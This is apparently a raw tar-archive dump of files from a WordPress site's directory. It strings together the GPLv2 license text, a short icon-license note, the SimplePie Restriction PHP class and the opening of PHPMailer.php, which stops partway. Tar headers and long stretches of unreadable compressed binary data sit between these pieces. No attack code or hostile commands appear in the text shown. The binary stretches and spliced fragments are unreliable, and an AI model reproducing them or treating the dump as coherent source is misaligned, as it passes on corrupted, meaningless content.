software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

		    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

			    NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

		     END OF TERMS AND CONDITIONS

	    How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License along
    with this program; if not, write to the Free Software Foundation, Inc.,
    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/images/crystal/license.txt000064400000000225151024312650026463 0ustar00Crystal Project Icons
by Everaldo Coelho
http://everaldo.com

Released under LGPL

Modified February 2008
for WordPress
https://wordpress.org14338/media-text.tar.gz000064400000004537151024420100010414 0ustar00��\mo�6ޯ�_���nٲ'w2����E�w�w�p8�D�l(Q �$>#����lI֫��k�]��93r�3�&�!���\�~D�~ ě�7���ee?��x4~3���h�]���
/��wxQ�m)$������H�)e��� W�Gy{�^'LIX�sL�$���at�Wr�c�h�f	
�\����yN?`Q�b�%\��8�|!>'���|!}����$�,1�����`t)��{�&j�_�����r,�є��)��v=�$t �p ;��������tLW�b�Ȟ��E<�P.�����
�D��$�TG"4��PZPHBQ������Q
�#���.�Z��@��GjO(WF�M�����?�MOJ�|�D�A�hŖM��p�]�i�X�j.n~�fEkp�n*��'�O�m�{4!W������������ꌯ����#�ܟ2�:�LB�q�}.�>	����ܤ�G�#q�I���p�w��K>ZJV��71��6����Pw�<��8��K JW.�d�P� ��#�}�'պ����T�s�3_�z�_A;Y0?�����ϕԞ!@W����ɔIɢ�餑^I^�57O�Bl��4��}H�K\g��{�g1ʳHP*#�����<�%�S�ѝ��uU�>6�y�y�`��:M6F�h�qTzD�XZ+��=	1�D$ʃMv"��戙�G$)�d�`��Q�S��9[ơ���p��b�I>{������y����6��犯ղf6w�qv�+�T�0+�$�a|��?�'�1�꘴q�T=�/����ЅEa3����7P$̗�!�U��o��י=\y����:��6���GlJ(���eO%r�r�/&��FO_^f�3��8���v����b'���/.�m���d'g�Sri�����P  �A-�+�  P����-"��v룠3Å�C

)9*���`^�����bD�'ں���@'�N��jIZȨQ�����6_��X�k�z��f�`H0�$���#b?�����{�#����=�8��o��H��b�C��8�fPą�Q�.��X�ȢE-j[o��բH��vl�h���:!������wO�Ȣ\�(�E�,�e���h�����
w����N�/�?�g[/��t׾P�E�,�gѿB��,>�6��ʻ,�����m}���',p�z��[H�00=�p��@�e|7��J�����s3/TO�"�����C�GK"�~����v>o�
�_��z��
�8I�!߻��Is�8t` ��;]��gƸ�N@p���kBwx���;=mr�s���ܞ�-��<�b�ZR#���)\j:�
zTΛ~���D/
\dnj�۷[����A�zbV��~�0]�%t����	x�\�z6#�%��Mf��L#Q���3��w�%�8;/Q��;4~K��e4ż����
�|ެ-��N��D�:Ѷ#)���$1j�ca�g`�!��Z�4\��ώ�S�h�-Ė�C�(h�{��86�@3)��φU��3��
2��+3αW�|!�
]�[%7
�G���J3��Dq�%\xKf�~������+��	"�Z�ۡ3�a����u���R�����V�u�9Ze���H®�?�ۢ��g�
��3MI߫M|���D�o<7?�`. �LT��]2q���Ki�<�3�
6[���|0eэ��?&��tD���v!���ÙC!Y�B�~3\�yH�^�S���hB-��V���Vp,�T=O�]��4+�+z*�(���H��>j|��k�@预��*�3S3Ij�u
��Z
�3J���ȣ�ww)��54,���"BW-�~�B�t(�cTP�Y��E-�>b�7wd������lu����h��GD�RD�$�Df��:JG�d�/g�&�(�W��!:�
�z�(�f�����+�\�����N�*�?�����z�Pڱ��j�;J�u�I]�G-��̣={�R~��c_y�E���U�+~��q�76�)�V�c���}����=��rTfY(�P`uU�F�=���Q����i�Q�5̲ڋ�4o�ۦt+�Ȑl�+@fǩ��(�Q�u��+2ԅPY�QD�';P�����2����/f�yY���Ȭ�M?�Vl䍣��SV���N���D_�����nu*��95��$�v�suGyͥ��}J��-�����=`pm���z�q���ݶ�^mױ�_΋6s��8�j��������.G��N�l�g�?���Q�Ԅm�g�?�����6�����aS��_o��׊��l�w���D^�_���j�����)��j�m��v��?1�m�`14338/Restriction.php.tar000064400000014000151024420100011011 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Restriction.php000064400000010020151024332630027040 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles `<media:restriction>` as defined in Media RSS
 *
 * Used by {@see \SimplePie\Enclosure::get_restriction()} and {@see \SimplePie\Enclosure::get_restrictions()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_restriction_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Restriction
{
    /**
     * Relationship ('allow'/'deny')
     *
     * @var string
     * @see get_relationship()
     */
    public $relationship;

    /**
     * Type of restriction
     *
     * @var string
     * @see get_type()
     */
    public $type;

    /**
     * Restricted values
     *
     * @var string
     * @see get_value()
     */
    public $value;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct($relationship = null, $type = null, $value = null)
    {
        $this->relationship = $relationship;
        $this->type = $type;
        $this->value = $value;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the relationship
     *
     * @return string|null Either 'allow' or 'deny'
     */
    public function get_relationship()
    {
        if ($this->relationship !== null) {
            return $this->relationship;
        }

        return null;
    }

    /**
     * Get the type
     *
     * @return string|null
     */
    public function get_type()
    {
        if ($this->type !== null) {
            return $this->type;
        }

        return null;
    }

    /**
     * Get the list of restricted things
     *
     * @return string|null
     */
    public function get_value()
    {
        if ($this->value !== null) {
            return $this->value;
        }

        return null;
    }
}

class_alias('SimplePie\Restriction', 'SimplePie_Restriction');
14338/a11y.js.js.tar.gz000064400000005171151024420100010147 0ustar00��Zs۸��O��mH9�(�\�>���63�œ��θ�����y$hE��-@R�D�Ώ�u�p��X,�o�.��F3��^�S��șH}��
���dq���Qx�G�ҋ�ͼyܕ��@���d�=����O�kz�x?|�����Ã��<���������ߨ�+?Y�y�%�k�>ޮy<�mv��]1�cs1���4�t��J�;;Y*^J_�T�c��T�D���~���%O�`���R�;dW˪���?^ո�bK^�ps�&B�@�yj&>�Q�Ymf��+�*��lg=��ƙ�G	���H�R/�\�)S��Ny2�Ԃ͢ EZU���s\+�i�q(��"���b���z��H��˿Ԧݱ���9�ޝ�6ۿF�}Pl27p�9@���-�f&Bg��GkC5,�n�	ͱ�&�,N�����[E2���[�15q,f�qc�
X.۱�%)k�����`R�d�w��mZ+rWs:��Mѿ�,Z�Dr+�y=z/|ݳ�8ɝX�D1*����B��t���l�b��7~gY���J!���\Ʋt
[�\7Ǽ�E�h�c0d��{/t���՗�<+sڟ���Lq�]�,2�~
v+��%X�
X
�Ѧ�1{������=<dN�쒁Ch�#=�E9P�S>��
���@H��a�9vO��ꈺa	g�������Vp���kՋan�z��c�����){��语��
*`������oN�6���3-�R�s��r�TGR��h������J%���v��"϶`��ZU<dg;�x��D�7�����ե�`��A�
6�p��Ds����8�QIQ���������o��^c�uoc�D[�y*
� ���O�(	b4Щ遽Q&àkG�
u��8�خ�h�.���b��)�2��)���<ML���"�{� ��b���JM�,�O$�s�+�ٔ*���@�49�kH�2-��	GhH�S*΋���N�_�,/��b&�^�F���ˣ�U����"��k�=���؝[X��
�l�K7`<��̨�����w�@^:p6[	�$�!9�k ��U��rX�C��� tdAe�݇S��
W�N��&`xjj�>�4
ɏ��Df"��obla�g}�}*�d
g�s�i�{t)�q��T�P��Jd^����ڟ����RwI��Z���G�?�Wj��S��vj�s��M�2�Qs�ֽ_��
fV��		�s	��^�m�4��qͤOS���	�!��Q,�aY��1si�]��8*x6E��F���9Q���L&���Y�nd0;��E*�D]r`�Q�a�	�E��6��%����M�o�\����D�鈍�H�0<�'0�0��Gr:�6���Fm�"�6'ь!e�i��TEa4�Il�`YJŅ���BC3%{��T�S�
+�!}�9h�8��S>�0LK;�Mvָ��:�5��p�����
9�Jo�x{
�����%�*U�B��%�q��	�S���܄Tۮ�K��X��$麹�8s;gn󒵛ܔ�jV��Na�@Ia�D48����k�j��繶^Z�\IİO�6��Z.�%jIT�A��Y3ϟ���Y�nC}�8�1W��.^�,2Z��rCEP�?�??��
5�S���M>t&����qlh�Q8��^��̺�:ປٳ�#c�܆O������ts&���0�RFYz�S��|��f��w�ݶ�p�"�Ԏ�4�:'�o"��5…����6还Ks��f��:.�p�7��~�v�ٻ������OR�c����&t�m�u{�e �@v����.�0��`z
F	y�_}8{�QM�>ְ�P	��DЌnc����Pܳ���z��klH���,^�a#�6G�dBL���=�3�:���fڤw"�.��Ι)!=�4��)ݽ�~�<��3@$���H6e@=p.����J�!ɗq�����O�	0���8�1*?(��H���Z ߕ�K ��T��-)��>�w��hU�QQww]X;����7�:���bS��9T�c�wE�������-69�Ϭ�?�;�ofU.|������4:T�B�hql���K2G!�r�QF�<��j�`��0��iL�[Y )	�g6�Ӽ\?w�ζ��-�i4�XR梉�,��n�b�y���nc��S�5�Bkn%�����a���S;��VFQ��ÑMn�=�uGw��L>��p����l/®�%:	�B�Z�	TF0��Y�+>�S�sR�2�K�X���z��~��Wa'�k�4�.s��$���.��S߯��a�5;K76����I��2��h�H���rݕCs���֪L��.#�7��䰒oF�2��X�2u]V]csqCKa�*o�j��\
�^��v;tTF�v�V1h�vb1~;UťU�}7�t�[]s��xe���7g�5�_�sF��-fM��f__��ZM�و~�eH��tm=���60�BT�>�����Ԟ�7��oG׋�mn@�-l�Qǜ�7ng׺Ds/~���D&Tv�+t�E��!E۲%{&����5�7�;�VI�r��<�o�<b�KYq�o#z�on۵���t�E^o��z��Gv�l��{x��K��$�m�u�{��ߞoϷ��7d϶�(14338/PHPMailer.tar000064400000716000151024420100007510 0ustar00PHPMailer.php000064400000545675151024211000007046 0ustar00<?php

/**
 * PHPMailer - PHP email creation and transport class.
 * PHP Version 5.5.
 *
 * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 *
 * @author    Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author    Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author    Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author    Brent R. Matzelle (original founder)
 * @copyright 2012 - 2020 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license   https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License
 * @note      This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 */

namespace PHPMailer\PHPMailer;

/**
 * PHPMailer - PHP email creation and transport class.
 *
 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author Brent R. Matzelle (original founder)
 */
class PHPMailer
{
    const CHARSET_ASCII = 'us-ascii';
    const CHARSET_ISO88591 = 'iso-8859-1';
    const CHARSET_UTF8 = 'utf-8';

    const CONTENT_TYPE_PLAINTEXT = 'text/plain';
    const CONTENT_TYPE_TEXT_CALENDAR = 'text/calendar';
    const CONTENT_TYPE_TEXT_HTML = 'text/html';
    const CONTENT_TYPE_MULTIPART_ALTERNATIVE = 'multipart/alternative';
    const CONTENT_TYPE_MULTIPART_MIXED = 'multipart/mixed';
    const CONTENT_TYPE_MULTIPART_RELATED = 'multipart/related';

    const ENCODING_7BIT = '7bit';
    const ENCODING_8BIT = '8bit';
    const ENCODING_BASE64 = 'base64';
    const ENCODING_BINARY = 'binary';
    const ENCODING_QUOTED_PRINTABLE = 'quoted-printable';

    const ENCRYPTION_STARTTLS = 'tls';
    const ENCRYPTION_SMTPS = 'ssl';

    const ICAL_METHOD_REQUEST = 'REQUEST';
    const ICAL_METHOD_PUBLISH = 'PUBLISH';
    const ICAL_METHOD_REPLY = 'REPLY';
    const ICAL_METHOD_ADD = 'ADD';
    const ICAL_METHOD_CANCEL = 'CANCEL';
    const ICAL_METHOD_REFRESH = 'REFRESH';
    const ICAL_METHOD_COUNTER = 'COUNTER';
    const ICAL_METHOD_DECLINECOUNTER = 'DECLINECOUNTER';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     *
     * @var int|null
     */
    public $Priority;

    /**
     * The character set of the message.
     *
     * @var string
     */
    public $CharSet = self::CHARSET_ISO88591;

    /**
     * The MIME Content-type of the message.
     *
     * @var string
     */
    public $ContentType = self::CONTENT_TYPE_PLAINTEXT;

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     *
     * @var string
     */
    public $Encoding = self::ENCODING_8BIT;

    /**
     * Holds the most recent mailer error message.
     *
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     *
     * @var string
     */
    public $From = '';

    /**
     * The From name of the message.
     *
     * @var string
     */
    public $FromName = '';

    /**
     * The envelope sender of the message.
     * This will usually be turned into a Return-Path header by the receiver,
     * and is the address that bounces will be sent to.
     * If not empty, will be passed via `-f` to sendmail or as the 'MAIL FROM' value over SMTP.
     *
     * @var string
     */
    public $Sender = '';

    /**
     * The Subject of the message.
     *
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     *
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     *
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal event structures, use classes like EasyPeasyICS or iCalcreator.
     *
     * @see https://kigkonsult.se/iCalcreator/
     *
     * @var string
     */
    public $Ical = '';

    /**
     * Value-array of "method" in Contenttype header "text/calendar"
     *
     * @var string[]
     */
    protected static $IcalMethods = [
        self::ICAL_METHOD_REQUEST,
        self::ICAL_METHOD_PUBLISH,
        self::ICAL_METHOD_REPLY,
        self::ICAL_METHOD_ADD,
        self::ICAL_METHOD_CANCEL,
        self::ICAL_METHOD_REFRESH,
        self::ICAL_METHOD_COUNTER,
        self::ICAL_METHOD_DECLINECOUNTER,
    ];

    /**
     * The complete compiled MIME message body.
     *
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     *
     * @var string
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     *
     * @var string
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     *
     * @see static::STD_LINE_LENGTH
     *
     * @var int
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     *
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     *
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     *
     * @var bool
     */
    public $UseSendmailOptions = true;

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     *
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     *
     * @see PHPMailer::$Helo
     *
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     *
     * @see https://www.rfc-editor.org/rfc/rfc5322#section-3.6.4
     *
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     *
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     *
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     *
     * @var int
     */
    public $Port = 25;

    /**
     * The SMTP HELO/EHLO name used for the SMTP connection.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     *
     * @see PHPMailer::$Hostname
     *
     * @var string
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
